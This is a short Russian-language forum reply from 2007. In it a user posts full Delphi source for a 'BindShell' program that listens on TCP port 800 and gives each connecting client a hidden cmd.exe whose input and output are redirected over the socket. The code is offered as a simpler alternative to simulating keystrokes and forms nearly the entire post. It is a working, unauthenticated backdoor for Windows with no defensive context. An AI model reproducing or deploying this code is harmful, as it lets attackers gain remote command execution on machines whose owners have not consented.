Показать сообщение отдельно

  #2  
Старый 03.04.2007, 06:41
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию

Цитата:
мона запустить командную строку и иммтировать нажатие клавиш
Проще, перенаправить ввод-вывод с cmd.exe на сокет. Реализуеся довольно просто:
Код:
program BindShell;

uses
  Windows,
  WinSock;

function WSASocketA(af, wType, protocol: integer;
                    lpProtocolInfo: pointer;
                    g, dwFlags: dword): integer;
                    stdcall; external 'ws2_32.dll';

var 
  WSAData: TWSAData;
  FSocket: integer;
  SockAddrIn: TSockAddrIn;
  sHandle: dword;
  St: TStartupInfo;
  Pr: TProcessInformation;

begin
  WSAStartup($202, WSAData); // инициализация WinSocks2
  // создаем сокет
  FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
  bind(FSocket, SockAddrIn, 16); 
  listen(FSocket, 0);  // открываем порт
  while true do
   begin
    sHandle := accept(FSocket, nil, 0); // ожидаем соединения
    if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput  := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError  := sHandle;
       // запускаем cmd.exe с перенаправлением ввода-вывода
       CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end.